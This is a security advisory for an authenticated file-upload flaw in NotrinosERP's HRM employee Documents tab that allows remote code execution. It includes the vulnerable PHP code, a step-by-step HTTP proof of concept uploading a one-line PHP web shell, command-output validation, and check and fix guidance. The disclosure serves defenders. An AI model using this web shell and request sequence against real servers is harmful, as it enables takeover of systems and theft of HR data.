---
id: "GHSA-qv4m-m73m-8hj7"
kind: "vulnerability"
aliases: ["GHSA-qv4m-m73m-8hj7"]
title: "NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)"
severity: "high"
cvss: 8.8
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "notrinos/notrinos-erp", "fixed": [], "affected": "<= 1.0.0", "ecosystem": "composer"}]
ecosystems: ["composer"]
tags: ["composer", "cwe-22", "cwe-434", "notrinos-erp", "package", "php", "self-hosted"]
not_affected_if: ["auth-required", "no-sa-employee-users"]
published_at: "2026-07-10T19:34:03+00:00"
first_seen_at: "2026-10-25T15:07:02+00:00"
updated_at: "2026-10-25T15:07:13+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-qv4m-m73m-8hj7", "first_seen_at": "2026-10-25T15:07:02+00:00"}]
---

# NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)

An HR user with the employee-management permission can upload a document named with a .php extension into a web-served folder, where it is stored unchanged. Requesting that file runs attacker-supplied PHP code on the server.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- composer:notrinos/notrinos-erp affected <= 1.0.0 fixed ?

## How to check

- Check the NotrinosERP version with `composer show notrinos/notrinos-erp` and compare against `1.0.0`
- Look for PHP files under `company/*/documents/employees/` on the web server
- Confirm whether `SA_EMPLOYEE` is granted to non-administrator roles

## Fix

- Upgrade `notrinos/notrinos-erp` past `1.0.0` (fixed version unknown from sources; check the advisory)
- Until patched, block PHP execution in `company/*/documents/` (`RemoveHandler .php`, `SetHandler none`, or `php_admin_flag engine off`)
- Remove any `.php` files already present under `company/*/documents/employees/` and rotate credentials if found

## Timeline

- 2026-10-25T15:07:02+00:00 ghsa https://github.com/advisories/GHSA-qv4m-m73m-8hj7

## From the sources

#### Summary
An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.

#### Details
The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:

```php
// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
    mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
```

There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.

Reachability of the written file:
- `company_path()` resolves under the web root; `config.default.php` sets
  `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.
- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`
  only — it does **not** block `.php` and does **not** cover `company/`.
- The stored path is then echoed **unescaped** into a clickable "View" link
  (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),
  handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).

A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`.

#### Proof of Concept
The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the
hidden `_token`, then submit. Against your **own** local instance:

```http
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name="_token"

<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"

<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"

x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"

Save Document
--b--
```

Then request the stored file (its exact path is shown in the Documents tab's "View" link):

```http
GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
```

The command in `c` executes on the server.

#### Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:

```
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>
```

Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.

#### Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2).

#### Suggested fix
- Never use the client filename on disk. Store with a server-generated name and **no executable
  extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name
  only as a DB label.
- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`
  branch already does.
- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in
  `company/*/documents/` that disables script execution (`php_admin_flag engine off`,
  `RemoveHandler .php`, `SetHandler none`).
- `htmlspecialchars()` the stored path before emitting the "View" link (fixes the secondary XSS).

#### Resources / credit
- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.
- Reported by: **&lt;Kasper Hong / Kasper Builds&gt;**.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
